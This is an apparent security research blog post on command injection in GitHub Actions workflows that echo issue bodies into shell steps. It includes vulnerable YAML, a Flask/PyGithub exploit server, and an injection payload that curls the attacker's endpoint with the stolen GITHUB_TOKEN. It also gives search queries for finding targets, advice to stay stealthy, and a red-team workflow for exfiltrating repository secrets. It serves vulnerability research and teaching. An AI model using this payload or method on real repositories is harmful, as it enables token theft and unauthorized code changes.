πŸ’‘ , πŸ“Έ and 🎬

Stealing secrets from GitHub Actions

Tl;dr

Certain implementations of GitHub action workflow can be exploited to extract secrets such as GITHUB_TOKEN. This research focuses on examples of such workflows and detecting them on the wild. This is not a vulnerability on GitHub itself, instead it is dependent on how companies implement GitHub actions. I am not responsible for any malicious use resulting from this blog.

Background

GitHub Actions' growing usage throughout various companies influenced this research. Companies are using GitHub actions to create automated deployments, docker updates, and other test runs that historically relied on TravisCI and other CI platforms. GitHub actions workflows execute automatically based on triggers via different types of events.

GitHub Actions Structure

Before analyzing workflows and breaking them for vulnerabilities, let us look into the structure of GitHub workflows, how it works, and how to search for workflows.

Location

Each GitHub workflows have to be in a designated folder that GitHub has predefined. This folder is at .github/workflows. After the folder, each file has to be a YAML file to be considered an action. Following is an example of a workflow.

on:

push:

branches:

- master


jobs:

detect_tests:

runs-on: ubuntu-latest

name: A workflow to test the work of DataSecure

steps:

- name: Checkout

uses: actions/checkout@v1

- name: CodeAnalysis

uses: bugbounty-site/GitSecure@master

with:

slack_hook: ${{ secrets.slack_webhook }}

Initiating the workflow

The on tag helps to explain how the workflow gets triggered. The tag can have multiple different events. Workflows can be triggered when

  1. A pull request is created to all branches or specific branches

  2. A comment is made on pull requests or issues

  3. Dispatch events made via other requests

  4. Push request to master and other branches

To learn more about events on GitHub Actions check out: https://docs.github.com/en/free-pro-team@latest/actions/reference/events-that-trigger-workflows.

Workflow Jobs

When the workflow is triggered, it will start executing the jobs on parallel. In the above case, only I defined only one job: `detect_tests` so only one will run. In other instances, multiple jobs could execute. Since jobs run on a parallel, resources between them cannot be accessed by each other unless they are structured to run sequentially. Inside the jobs, various definitions are given. Runs-on dictates which operating system would be running the workflow, the name gives a short name for the workflow, and steps explain a series of actions to take when running the jobs.

Steps within themselves can run in various ways, for example:

  1. Steps can run through other actions as in this example it runs through actions/checkout@v1 and bugbounty-site/GitSecure@master

  2. run tag can execute bash commands directly into the workflow to build test cases and other bash runs.

This was a brief overview of GitHub actions needed before reading about exploiting actions. To learn about syntaxes in Actions, check out https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions

Vulnerabilities in workflows

After I started to create my own GitHub actions, specific triggers stood out based on their use throughout the workflow. For example, let's take the following workflow for a basic example:


on:

issues:

types: [opened, edited, milestoned]


jobs:

runner:

name: Test

runs-on: ubuntu-latest

env:

GITHUB_TOKEN: ${{secrets.GITHUB_TOKEN}}

FLAG: ${{secrets.CTF_SECRET}}

GITHUB_CONTEXT: ${{ github.event.issue.body }}

steps:

- run: echo "${{ github.event.issue.body }}"

This is a super simple workflow that gets triggered when an issue is created or edited. The issue body's content is then directly passed onto the runner job where it executes a bash command echoing the issue body. From a security point of view, this is dangerous because a bash command within the workflow executes a user-supplied input. This makes the workflow vulnerable to its form of command execution. This is one of many cases where these vulnerabilities exist; there are more cases that can lead to similar vulnerabilities. Key things to look for vulnerable workflows are {{github.event.issue.X}} and {{github.event.pull_request.X}} being passed directly into commands.

A more "complex" workflow that I found during the research was:


on:

issues:

types: [opened]

name: IssueOps - Demo

jobs:

act-on-issue:

runs-on: ubuntu-latest

if: startsWith(github.event.issue.title, 'demo') || startsWith(github.event.issue.title, 'reset')

steps:

- name: Checkout

uses: actions/checkout@v1

- name: Reset demo if a demo or reset issue was opened

run: ./scripts/reset-demo.sh "${{ github.event.issue.body }}" "${{ github.event.issue.number }}"

env:

GITHUB_COM_TOKEN: ${{ secrets.GITHUB_TOKEN }}

OCTO_ORG: ${{ github.event.repository.owner.login }}

OCTO_REPO : ${{ github.event.repository.name }}

OCTO_UX_TOKEN: ${{ secrets.GITHUB_TOKEN }}

The breakdown of the workflow is as follows:

  1. Workflow is triggered when an issue opens.

  2. The workflow only has one job acts-on-issue that runs inside a ubuntu docker provided by GitHub.

  3. The steps of acts-on-issue execute only if the title of the issue starts with a word: demo or reset.

  4. The first step clones the repository with checkout actions.

  5. Second, ./scripts/reset-demo.sh executes by passing in the issue's comment and the issue number as a parameter.

  6. The steps contain a list of environment variables, one of which is a secret: {{secrets.GITHUB_TOKEN}}

This workflow has a remote code execution because anyone can create an issue for this repository and then pass Linux commands in the issue's body. We will focus on exploiting these further in the next section.

Exploiting workflows

Once I identified vulnerable workflows, I started to focus on offensive exploitation to understand the impact. For this, I specifically focused on secrets and their use cases. One of the shared secrets used in workflows is {{secrets.GITHUB_TOKEN}}. GITHUB_TOKEN has various permissions that help to leverage this attack further. For example, with the token, you can have full write permission to branches of the repository. It is also possible to have write access to the main branch if a repo admin has not restricted access. This allows for adding more codes to the repo than initially intended. However, there was a minor hurdle.

GITHUB_TOKEN expires after the workflows finish running. In cases like the above workflows, they tend to finish within a few seconds of the launch. Due to this, manually grabbing the token and launching an attack would not work. Instead, I decided to automate the whole attack process. After researching, I found GitHub has a Python SDK to call the GitHub API and perform required actions (this was before GitHub released GitHub CLI).

I decided to create a Flask API combined with GitHub SDK that did the following:

  1. Take a GitHub Token, random file name, and repo name as input.

  2. Use GitHub Python SDK to create a new file in the repo's main branch with the file name that I provided

The python code looked like:

api.py

@api.route('/gh_research/<string:code>/<string:fn>', methods=['GET'])

def gh_research(code, fn):

repo = request.args.get('repo')

gh = Helpers(github_token=code, repo=repo)

gh.github_token_exploit(fn)

return jsonify({"message":"Hello World"})

helpers.py

import requests

from github import Github


class Helpers:

def __init__(self, github_token=None, repo=None):

self.__github_token = github_token

self.__github_repo = repo

def github_token_exploit(self, fileName):

github_access = Github(self.__github_token)

repo = github_access.get_repo(self.__github_repo)

repo.create_file('{filename}.txt'.format(filename=fileName),'Ophion Test','Ophion Team',branch="main")

With the exploit written, a full exploit for the above workflow would be this:

" & curl http://apidomain.localhost/api/gh_research/$(printenv GITHUB_COM_TOKEN)/h1poc?repo=$(printenv GITHUB_REPOSITORY) && sleep 1m && "

The exploit would escape the comment and create a new curl request and pass the GITHUB_TOKEN, filename to create and the repo name. Also, since the tokens expire after the workflow run, it will pass a sleep command to ensure the workflow runs for at least 1 min. The end result will create a file name h1poc on the repo's main branch.

Identifying vulnerable workflows

To find certain vulnerable workflows, I recommend using GitHub's search engine. Certain search queries that I commonly use for this:

  1. path:.github/workflows org:ORG_NAME

  2. "{{secrets.GITHUB_TOKEN}}"

  3. "{{github.event.issue.body}}

You can use advanced queries to combine the above queries into one and use it to find the workflows and analyze them for vulnerabilities quickly. Other implementations of the workflows can also be vulnerable against attacks if the third-party actions they use are vulnerable. In such cases, I recommend having a private repository where you can import the workflow and fuzz it manually for vulnerabilities. It is essential to plan your tests before you run it against the repositories. In most cases, it is better to have a stealth attack work than create noise that will alert the repository admin before you can successfully perform a test.

Red teaming the workflows

Similar exploits can also be conducted by the red team on internal repositories to exfiltrate secrets such as AWS token. For example, if you have access to create a branch on a repo, you could create a branch with workflows that does the following:

  1. Runs on a pull request to branch Y.

  2. Upon triggering, it will send curl request to your endpoint with the repository's secrets value.

This scenario will only work if you have access to create a branch on the repo. External pull requests do not run workflows on the same repository, so an external attacker cannot exfiltrate those secrets. Hence this is why I would recommend using this for potential red team activities internally. I will have a separate blog on red teaming workflows published in few weeks.

Try it yourself

Go to https://github.com/BugBounty-Site-Public/blog-hack-me-public and perform a similar attack.